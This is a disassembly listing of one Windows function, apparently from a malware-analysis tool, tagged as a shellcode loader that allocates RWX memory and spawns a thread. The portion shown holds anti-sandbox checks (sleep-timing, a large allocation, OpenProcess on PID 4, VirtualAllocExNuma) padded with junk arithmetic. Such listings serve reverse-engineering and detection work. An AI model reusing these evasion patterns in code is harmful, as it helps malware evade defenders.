Function at 0x140001530
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using base64
Execute shellcode via indirect call
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xc48
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0xbb0], xmm6
mov dword [rbp + 0xbf0], ecx
mov qword [rbp + 0xbf8], rdx
call dbg.__main
mov dword [rbp + 0xbac], 0x5a
mov dword [rbp + 0xba8], 0x1e
jmp 0x140001590
mov eax, dword [rbp + 0xbac]
cmp eax, dword [rbp + 0xba8]
jle 0x140001589
sub dword [rbp + 0xbac], 1
jmp 0x140001590
sub dword [rbp + 0xba8], 1
cmp dword [rbp + 0xbac], 0
jg 0x140001572
mov dword [rbp + 0x8c8], 0
mov dword [rbp + 0xb9c], 0
mov ecx, 0x3c
call sym.malloc
mov qword [rbp + 0x8c0], rax
mov dword [rbp + 0xba4], 0
jmp 0x140001687
mov dword [rbp + 0xba0], 0
jmp 0x140001673
call sym.rand
mov edx, eax
mov eax, dword [rbp + 0xba4]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x8c0]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0xba0]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0xba4]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x8c0]
add rdx, rax
mov eax, dword [rbp + 0xba0]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x14000166c
add dword [rbp + 0xb9c], 1
add dword [rbp + 0xba0], 1
cmp dword [rbp + 0xba0], 2
jle 0x1400015dc
add dword [rbp + 0xba4], 1
cmp dword [rbp + 0xba4], 4
jle 0x1400015cd
cmp dword [rbp + 0xb9c], 7
jne 0x1400016a7
mov dword [rbp + 0x8c8], 1
mov rax, qword [rbp + 0x8c0]
mov rcx, rax
call sym.free
pxor xmm0, xmm0
movss dword [rbp + 0xb94], xmm0
mov dword [rbp + 0xb98], 0
jmp 0x140001747
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0xb98]
movsd xmm0, qword [0x14000c248]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x14000c250]
movd xmm0, eax
call dbg.powf
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0xb98]
addsd xmm0, xmm0
movsd xmm2, qword [0x14000c248]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0xb94]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0xb94], xmm0
add dword [rbp + 0xb98], 1
cmp dword [rbp + 0xb98], 0x23
jle 0x1400016ce
movss xmm1, dword [rbp + 0xb94]
movss xmm0, dword [0x14000c254]
mulss xmm0, xmm1
movss dword [rbp + 0xb94], xmm0
mov ecx, 0x110
call sym.malloc
mov qword [rbp + 0x8b8], rax
mov dword [rbp + 0xb90], 0
jmp 0x1400017db
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c258]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xb90]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x8b8]
add rax, rdx
movsd xmm1, qword [0x14000c248]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xb90], 1
cmp dword [rbp + 0xb90], 0x21
jle 0x14000178d
mov dword [rbp + 0xb90], 0
jmp 0x140001842
mov eax, dword [rbp + 0xb90]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x8b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xb90]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x8b8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xb90], 1
cmp dword [rbp + 0xb90], 0x21
jle 0x1400017f0
mov dword [rbp + 0x8b4], 0x391
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8a8], rax
mov rax, qword [rbp + 0x8a8]
call rax
mov dword [rbp + 0x8a4], eax
mov eax, dword [rbp + 0x8b4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x8a8]
call rax
mov dword [rbp + 0x8a0], eax
mov eax, dword [rbp + 0x8a0]
sub eax, dword [rbp + 0x8a4]
cmp eax, 0x35f
jbe 0x14000891d
mov qword [rbp + 0x898], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x890], rax
mov rax, qword [rbp + 0x890]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4dc0280
mov ecx, 0
call rax
mov qword [rbp + 0x898], rax
cmp qword [rbp + 0x898], 0
je 0x14000891d
mov rax, qword [rbp + 0x898]
mov edx, 0x4dc0280
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x898]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x88c], 0x391
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x880], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x878], rax
mov rax, qword [rbp + 0x878]
call rax
mov dword [rbp + 0x874], eax
mov eax, dword [rbp + 0x88c]
mov r8, qword [rbp + 0x880]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x878]
call rax
mov dword [rbp + 0x870], eax
mov eax, dword [rbp + 0x870]
sub eax, dword [rbp + 0x874]
cmp eax, 0x35f
jbe 0x14000891d
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x868], rax
cmp qword [rbp + 0x868], 0
je 0x14000891d
mov rax, qword [rbp + 0x868]
mov edx, 0x5d0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x864], eax
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
jne 0x14000891d
mov dword [rbp + 0x854], 0x341
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x848], rax
mov rax, qword [rbp + 0x848]
call rax
mov dword [rbp + 0x844], eax
mov eax, dword [rbp + 0x854]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x848]
call rax
mov dword [rbp + 0x840], eax
mov eax, dword [rbp + 0x840]
sub eax, dword [rbp + 0x844]
cmp eax, 0x30f
jbe 0x14000891d
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x838], rax
cmp qword [rbp + 0x838], 0
jne 0x14000891d
mov qword [rbp + 0xb88], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x830], rax
cmp qword [rbp + 0x830], 0
je 0x140001be7
mov rax, qword [rbp + 0x830]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x828], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x828]
mov r9d, 0x3000
mov r8d, 0x457
mov edx, 0
call rax
mov qword [rbp + 0xb88], rax
cmp qword [rbp + 0xb88], 0
je 0x14000891d
mov qword [rbp + 0x820], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x818], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x818]
mov r9d, 0x3000
mov r8d, 0x423
mov edx, 0
call rax
mov qword [rbp + 0x820], rax
cmp qword [rbp + 0x820], 0
je 0x14000891d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x810], rax
mov rax, qword [rbp + 0x810]
call rax
mov dword [rbp + 0x80c], eax
mov ecx, 0x21f
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x810]
call rax
mov dword [rbp + 0x808], eax
mov eax, dword [rbp + 0x808]
sub eax, dword [rbp + 0x80c]
cmp eax, 0x1ed
jbe 0x14000891d
mov dword [rbp + 0xb84], 0xffffffff
mov ecx, 0xf0
call sym.malloc
mov qword [rbp + 0x800], rax
mov ecx, 0xf0
call sym.malloc
mov qword [rbp + 0x7f8], rax
add dword [rbp + 0xb84], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0xb84]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x800]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xb84]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x800]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xb84]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7f8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xb84], 0x1c
jle 0x140001d1a
mov dword [rbp + 0x7f4], 0
mov ecx, 0x108
call sym.malloc
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0xb80], 0
jmp 0x140001f07
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x7f4], edx
mov edx, dword [rbp + 0x7f4]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x7f4], eax
cmp dword [rbp + 0x7f4], 0x168
jle 0x140001e8d
mov eax, dword [rbp + 0xb80]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e8]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001f00
cmp dword [rbp + 0x7f4], 0
jns 0x140001eba
mov eax, dword [rbp + 0xb80]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e8]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001f00
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x7f4]
movsd xmm0, qword [0x14000c260]
mulsd xmm0, xmm1
movsd xmm1, qword [0x14000c268]
divsd xmm0, xmm1
mov eax, dword [rbp + 0xb80]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e8]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0xb80], 1
cmp dword [rbp + 0xb80], 0x41
jle 0x140001e26
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
call sym.free
mov dword [rbp + 0xb7c], 0x46
jmp 0x140001f36
sub dword [rbp + 0xb7c], 1
cmp dword [rbp + 0xb7c], 0x30
jg 0x140001f2f
mov qword [rbp + 0xb70], 0
mov dword [rbp + 0x7e4], 0x43
mov dword [rbp + 0xb78], 1
jmp 0x140001f76
mov eax, dword [rbp + 0xb78]
cdqe
add qword [rbp + 0xb70], rax
add dword [rbp + 0xb78], 1
mov eax, dword [rbp + 0xb78]
cmp eax, dword [rbp + 0x7e4]
jle 0x140001f60
lea rax, [rbp + 0xd0]
lea rdx, [0x14000c048]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov ecx, 0xd8
call sym.malloc
mov qword [rbp + 0x7d8], rax
mov dword [rbp + 0xb68], 0
mov dword [rbp + 0xb64], 0
mov dword [rbp + 0xb6c], 0
jmp 0x140002043
call sym.rand
mov edx, dword [rbp + 0xb6c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0xb6c], 1
cmp dword [rbp + 0xb6c], 0x35
jle 0x140001ff6
mov dword [rbp + 0xb6c], 0
mov dword [rbp + 0xb6c], 0
jmp 0x1400020bf
mov eax, dword [rbp + 0xb6c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x14000208e
add dword [rbp + 0xb68], 1
jmp 0x1400020b8
mov eax, dword [rbp + 0xb6c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400020b8
add dword [rbp + 0xb64], 1
add dword [rbp + 0xb6c], 1
cmp dword [rbp + 0xb6c], 0x35
jle 0x140002062
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sym.free
mov ecx, 0x180
call sym.malloc
mov qword [rbp + 0x7d0], rax
mov ecx, 0x180
call sym.malloc
mov qword [rbp + 0x7c8], rax
mov ecx, 0x180
call sym.malloc
mov qword [rbp + 0x7c0], rax
mov ecx, 0x180
call sym.malloc
mov qword [rbp + 0x7b8], rax
mov dword [rbp + 0xb5c], 0x5f
mov dword [rbp + 0xb60], 0
jmp 0x140002240
call sym.rand
mov edx, dword [rbp + 0xb60]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sym.rand
mov edx, dword [rbp + 0xb60]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7c8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0xb5c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
mov edx, dword [rbp + 0xb60]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7c0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0xb5c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov edx, dword [rbp + 0xb60]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7b8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0xb5c], 1
add dword [rbp + 0xb60], 1
cmp dword [rbp + 0xb60], 0x5f
jle 0x140002134
mov rax, qword [rbp + 0x7d0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
call sym.free
mov dword [rbp + 0xb58], 0xffffffff
mov ecx, 0x308
call sym.malloc
mov qword [rbp + 0x7b0], rax
add dword [rbp + 0xb58], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0xb58]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b0]
add rax, rdx
movsd xmm1, qword [0x14000c258]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xb58]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xb58]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7b0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xb58], 0x5f
jle 0x1400022a4
mov ecx, 0x2c8
call sym.malloc
mov qword [rbp + 0x7a8], rax
mov dword [rbp + 0xb54], 0
jmp 0x140002395
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0xb54]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
movsd xmm1, qword [0x14000c258]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xb54], 1
cmp dword [rbp + 0xb54], 0x58
jle 0x140002357
mov dword [rbp + 0xb54], 0
jmp 0x14000242f
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0xb54]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xb54]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a8]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.fmod
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xb54], 1
cmp dword [rbp + 0xb54], 0x58
jle 0x1400023ad
mov dword [rbp + 0xb4c], 0x32
mov dword [rbp + 0xb50], 0x32
jmp 0x140002460
sub dword [rbp + 0xb4c], 1
sub dword [rbp + 0xb50], 1
cmp dword [rbp + 0xb50], 0x4c
jg 0x140002452
mov dword [rbp + 0xb48], 0xffffffff
add dword [rbp + 0xb48], 1
call sym.rand
imul eax, eax, 0x262
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c258]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x7a0], rax
cmp dword [rbp + 0xb48], 0x21
jle 0x140002473
mov ecx, 0x180
call sym.malloc
mov qword [rbp + 0x798], rax
mov ecx, 0x180
call sym.malloc
mov qword [rbp + 0x790], rax
mov ecx, 0x180
call sym.malloc
mov qword [rbp + 0x788], rax
mov ecx, 0x180
call sym.malloc
mov qword [rbp + 0x780], rax
mov dword [rbp + 0xb40], 0x5f
mov dword [rbp + 0xb44], 0
jmp 0x1400025ad
call sym.rand
mov edx, dword [rbp + 0xb44]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x798]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sym.rand
mov edx, dword [rbp + 0xb44]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x790]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0xb44], 1
cmp dword [rbp + 0xb44], 0x5f
jle 0x14000251a
mov dword [rbp + 0xb44], 0
jmp 0x140002649
mov eax, dword [rbp + 0xb40]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov edx, dword [rbp + 0xb44]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x788]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0xb40]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov edx, dword [rbp + 0xb44]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x780]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0xb40], 1
add dword [rbp + 0xb44], 1
cmp dword [rbp + 0xb44], 0x5f
jle 0x1400025c9
mov rax, qword [rbp + 0x798]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x788]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x780]
mov rcx, rax
call sym.free
mov dword [rbp + 0xb3c], 0xffffffff
mov ecx, 0x190
call sym.malloc
mov qword [rbp + 0x778], rax
mov ecx, 0x190
call sym.malloc
mov qword [rbp + 0x770], rax
add dword [rbp + 0xb3c], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0xb3c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x778]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xb3c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xb3c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x770]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xb3c], 0x30
jle 0x1400026be
mov r9d, 4
mov r8d, 0x1000
mov edx, 0x1fe
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x768], rax
mov ecx, 0x154
call sym.malloc
mov qword [rbp + 0x760], rax
mov dword [rbp + 0xb34], 0
mov dword [rbp + 0xb30], 0
mov dword [rbp + 0xb38], 0
jmp 0x140002843
call sym.rand
mov edx, dword [rbp + 0xb38]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x760]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0xb38], 1
cmp dword [rbp + 0xb38], 0x54
jle 0x1400027f7
mov dword [rbp + 0xb38], 0
jmp 0x140002881
mov eax, dword [rbp + 0xb38]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x760]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0xb34], eax
add dword [rbp + 0xb38], 1
cmp dword [rbp + 0xb38], 0x54
jle 0x140002858
mov dword [rbp + 0xb38], 0
jmp 0x140002906
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0xb30]
mov eax, dword [rbp + 0xb38]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x760]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x2e4]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x14000c270]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0xb30], eax
add dword [rbp + 0xb38], 1
cmp dword [rbp + 0xb38], 0x54
jle 0x140002896
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0xb30]
movss xmm1, dword [0x14000c278]
divss xmm0, xmm1
movss dword [rbp + 0x75c], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x75c]
movq rax, xmm4
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x758], xmm0
mov rax, qword [rbp + 0x760]
mov rcx, rax
call sym.free
mov ecx, 0xf4
call sym.malloc
mov qword [rbp + 0x750], rax
mov dword [rbp + 0xb28], 0
mov dword [rbp + 0xb24], 0
mov dword [rbp + 0xb2c], 0
jmp 0x140002a3c
call sym.rand
mov edx, dword [rbp + 0xb2c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x750]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0xb2c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x750]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002a0b
add dword [rbp + 0xb28], 1
jmp 0x140002a35
mov eax, dword [rbp + 0xb2c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x750]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002a35
add dword [rbp + 0xb24], 1
add dword [rbp + 0xb2c], 1
cmp dword [rbp + 0xb2c], 0x3c
jle 0x140002999
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sym.free
mov dword [rbp + 0xb20], 0xffffffff
mov ecx, 0x2f8
call sym.malloc
mov qword [rbp + 0x748], rax
mov ecx, 0x2f8
call sym.malloc
mov qword [rbp + 0x740], rax
add dword [rbp + 0xb20], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
